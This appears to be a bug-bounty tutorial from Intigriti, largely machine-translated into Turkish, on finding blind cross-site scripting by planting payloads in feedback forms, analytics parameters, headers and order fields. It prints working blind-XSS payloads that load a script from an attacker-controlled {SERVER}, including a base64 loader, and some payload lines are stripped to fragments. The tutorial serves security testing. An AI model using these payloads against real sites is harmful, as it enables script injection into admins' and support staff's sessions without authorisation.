Siteler arası komut dosyası çalıştırma (XSS) güvenlik açıkları oldukça yaygındır ve bulunması eğlencelidir. Ayrıca diğer güvenlik açıklarıyla zincirlendiklerinde büyük etki taşırlar. Ancak bu güvenlik açığı türünün bulunması diğer XSS türleri kadar kolay veya yaygın olmayan başka bir türü daha var. Özellikle gecikmeli infaz ve gizli enjeksiyon noktası nedeniyle çoğu avcının bunları aramasını zorlaştırmaktadır.
Bu makalede, kör siteler arası komut dosyası çalıştırma (XSS) güvenlik açıklarını nasıl avlayacağınızı ve bu belirli XSS türünü bulmanıza ve bu tür hakkında bildirim almanıza yardımcı olacak gerekli araçları ayarlamayı ele alacağız.
Hadi dalalım!
Siteler arası komut dosyası çalıştırma güvenlik açıkları, istemci tarafı enjeksiyon güvenlik açığı türüdür ve yansıtıcı veya depolanmış (kalıcı) XSS gibi birçok çeşidi olabilir. Bu enjeksiyon güvenlik açıkları, bir web uygulaması veya bileşeninin kötü amaçlı girişi filtrelemede başarısız olması ve bunu doğrudan HTTP yanıtına yansıtması durumunda ortaya çıkar. Aşağıdaki gibi basit bir işlev çağrısı yürüterek bunların kanıtlanması da kolaydır: alert()
veya print()
.
Kör XSS güvenlik açıkları, yansımanın saldırganın erişemediği bir bileşen üzerinde gerçekleşmesi nedeniyle oldukça farklıdır (örneğin, yalnızca dahili bir yönetim paneli veya yalnızca yardım masası çalışanları tarafından erişilebilen bir destek panosu). Ayrıca yürütme, güvenlik açığı bulunan bileşene erişimi olan ayrıcalıklı bir kullanıcıya da bağlıdır.
Kör XSS güvenlik açıkları ayrıca, görsel diyalogları tetikleyen işlev çağrıları (örneğin, alert()
veya print()
işlev çağrısı) yeterli olmayacaktır.
Bununla birlikte, gecikmeli yürütme, gizli enjeksiyon noktası ve kör XSS yüklerinizin çalışmasını sağlamak için gelen çağrılara yanıt veren özel bir sunucuya duyulan gereksinim, bu durumdan yararlanmayı çok daha zorlaştırıyor.
Bununla birlikte, yalnızca ayrıcalıklı kullanıcılar tarafından erişilebildiğinden ve genellikle daha yüksek etkili güvenlik açıklarına kolaylıkla aktarılabildiğinden, doğaları gereği büyük bir etki taşıdıkları için kör XSS güvenlik açıklarını test etmeye her zaman değer!
Artık kör XSS açıklarının ne olduğunu anladığımıza göre, yararlanma aşamasına yardımcı olacak özel sunucumuzu kurmaya geçebiliriz.
Bu yazımızın sonunda bazı gelişmiş kör XSS payloadlarını da sizlerle paylaşacağız ve bunları nereye enjekte edeceğiniz konusunda size yol göstereceğiz.
XSS güvenlik açıklarının çoğu, bir tür görsel diyaloğu tetikleyen işlev çağrılarının yürütülmesiyle kanıtlanır. Ancak önceki bölümde de belirttiğimiz gibi, kör XSS güvenlik açığı türleri için bu, yürütmenin ne zaman gerçekleştiğini hiçbir zaman anlayamayacağımız için boşunadır.
Yaygın olarak kullanılan bir yaklaşım, tarafınızdan bir JavaScript dosyası yüklemektir. Bunun için, gelen çağrıları dinleyecek ve işleyecek şekilde ayarlanmış özel bir sunucuya ihtiyacımız var.
Şanslıyız ki kullanabileceğimiz açık kaynaklı projeler ve yönetilen çözümler (bazen ücretli) zaten var.
@IAmMandatory’nin XSSHunter’ı bunlardan biri. Açık kaynaklıdır ve yalnızca 5 dakikada kurulumu kolaydır. Nasıl kurulacağını daha derinlemesine incelemek isterseniz sizin için okuyabileceğiniz bir makale hazırladık: Hacker Tools: XSSHunter nasıl kurulur.
Kör XSS güvenlik açıkları, basit bir uyarı çağrısından farklı bir yük gerektirir. Sunucumuza bir geri arama entegre etmemiz gerekecek. Bazı örneklere bir göz atalım.
Lütfen değiştirmeyi unutmayın {SERVER}
Aşağıdaki verilerde sunucunuzun konumuyla birlikte.
Harici bir komut dosyası enjekte etme
Bu, benimsenen en yaygın yaklaşımdır. Ayrıca geçerli karakter sınırlamalarını atlamamıza olanak tanır ve kodumuzun herhangi bir sorun olmadan yürütülmesini sağlar. Bu yük birden fazla bağlamda çalışacaktır.
'">
Injecting an external script (bypass)
In case your payload with the script tag is blocked, we can use a simple bypass with a simple SVG tag. The following payload also makes use of base64 encoding to help prevent execution errors with our payload due to incorrect URL encoding.'">
Here's the base64 decoded payload:
const x=document.createElement('script');x.src='{SERVER}/script.js';document.body.appendChild(x);
This code snippet above will help us create a script element (tag) and append it to the document body, essentially allowing us to load our own external JavaScript file.
HTTP callback
In some cases, limited HTML is accepted and all other tags are filtered. In that case, we can still try to check if the component is vulnerable to potential blind XSS by injecting an image tag.'">
More advanced payloads
'">
'">
'">
javascript: eval ( atob (" Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4 LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
'">
{{constructor.constructor("import('{SERVER}/script.js')")()}}
UÇ! Enjeksiyon noktalarınızı takip etmek için yükünüze rastgele bir dize veya anahtar kelime eklemeyi deneyin. Bu, daha sonra hangi sayfanın veya bileşenin savunmasız olduğunu bulmanız gerektiğinde size çok yardımcı olacaktır.
Hiçbir hedef aynı değildir ancak takip edilmesi gereken temel kural, kullanıcı girdisini işleyen ve muhtemelen dahili araçlar tarafından işlenecek veya ayrıcalıklı bir kullanıcı tarafından incelenecek herhangi bir web bileşeni veya özelliği türünde kör XSS güvenlik açığını test etmektir.
Bazı örnekler şunları içerir:
-
Geri bildirim formları (özellikle şirket bu özellik için üçüncü taraf satıcılara güvenmediğinde)
-
Analitik motorlar tarafından işlenen parametreler (UTM parametreleri her zaman iyi bir başlangıçtır)
-
Analitik motorları tarafından işlenen istek başlıkları (yönlendiren başlıklar neredeyse her zaman ayrıştırılır)
-
Bloglar ve yardım belgeleri
-
Genel hatalar
-
Siparişlere ilişkin faturalar veya makbuzlar
Geri bildirim formları
Şirketler genellikle geri bildirimleri eş zamanlı olmayan bir şekilde ele alır ve bunları bir yerde saklamaları gerekir. Çoğu üçüncü taraf satıcılara güveniyor ancak diğerleri çözümlerini dağıtıyor. Bunlar yalnızca çalışanlar tarafından kullanıldığından, bu bileşenler genellikle müşteriye yönelik diğer özelliklerle aynı güvenlik önlemlerini almaz.
Bu, onu kör XSS gibi enjeksiyon güvenlik açıklarına yatkın hale getirir. Bir dahaki sefere kör XSS verinizi geri bildirim isteğinizle enjekte etmeyi deneyin.
Analitik motorları
Analytics, her şirketin kullanıcılarının nereden geldiğini ve en fazla geliri elde etmek için hangi gelen kanallara yatırım yapması gerektiğini anlaması için bir zorunluluktur. Bunun için, kolayca değiştirilebilen parametreler ve diğer öğeler de dahil olmak üzere, kullanıcı isteği öğelerinin izlenmesi gerekir.
Kör XSS verinizi UTM parametrelerine (ile başlayan parametreler) dahil etmeye çalışın. utm_
) veya izleme için kullanılan diğer parametreler ref
Hedefinizin sürdürdüğü devam eden bağlı kuruluş programlarının parametresi.
İstek üstbilgileri (kullanıcı aracısı veya yönlendiren üstbilgisi gibi) genellikle ayrıştırılır ve işlenir. İstek başlıkları aracılığıyla kör XSS aramayı otomatikleştirmeye yardımcı olmak için proxy yakalayıcınızda kolayca bir eşleştirme ve değiştirme kuralı ayarlayabilirsiniz. Güvenlik filtreleri ve Web Uygulaması Güvenlik Duvarları (WAF'ler) tarafından engellenmeye daha yatkın olduğunuzu unutmayın.
Bloglar ve yardım belgeleri
Pazarlama ekipleri her zaman Arama Motoru Optimizasyonu (SEO) amacıyla hedeflenecek yeni anahtar kelimeler arayışındadır. Şirketlerin benimsediği yaygın yaklaşımlardan biri, sonuç vermeyen arama sorgularını günlüğe kaydetmektir.
Kör XSS yükünüzü şirketin resmi bloguna veya yardım belgelerine eklemeyi deneyin.
Genel hatalar
Hatalar ve diğer istisnalar neredeyse her zaman geliştiricilerin kullanıcının karşılaşabileceği sorunları düzeltmeye çalışmasına yardımcı olmak için günlüğe kaydedilir. Kasıtlı olarak bir istisna veya hataya neden olmaya çalışın ve kör XSS yükünüzü daha sonra ayrıştırılıp işlenebilecek olası herhangi bir alana (URL, kullanıcı aracısı, çerezler, kullanıcı adı veya e-posta, X-Forwarded-For başlığı vb.) enjekte etmeye çalışın. .)
Siparişlere ilişkin faturalar veya makbuzlar
Sipariş verdiğinizde, şirketin satın aldığınız mal veya hizmetleri teslim etmesine yardımcı olmak için verileriniz birden fazla dahili bileşen tarafından gönderilecek ve işlenecektir. Bu nedenle, kör XSS yükünüzü adres satırı veya fatura adı gibi herhangi bir alana eklemeyi deneyin.
UÇ! Program kurallarına her zaman uyun ve saygı gösterin, özellikle de programınız spam göndermeyi önlemek için iletişim veya geri bildirim formlarını test etmemenizi açıkça belirtiyorsa.
Gecikmeli yürütme, görünmez enjeksiyon noktası ve gelen çağrıları işleyen özel bir sunucunun gerekliliği, kör XSS güvenlik açıklarının bulunmasını ve bunlardan yararlanılmasını zorlaştırmaktadır. Ancak bu XSS türleri doğası gereği daha kritiktir ve bu da onları test etmeye değer kılar. Bu makale, kör XSS güvenlik açıklarını tanımlama ve bunlardan yararlanma konusunda tam bir kılavuz olarak kullanılabilir.
Az önce kör XSS açıklarını nasıl avlayacağınızı öğrendiniz… Şimdi becerilerinizi test etme zamanı! Intigriti'deki 70'ten fazla genel hata ödül programımıza göz atın ve kim bilir, belki bir sonraki ödülünüz bizimle kazanılır!
BUGÜN INTIGRITI'DE HACKLEMEYE BAŞLAYIN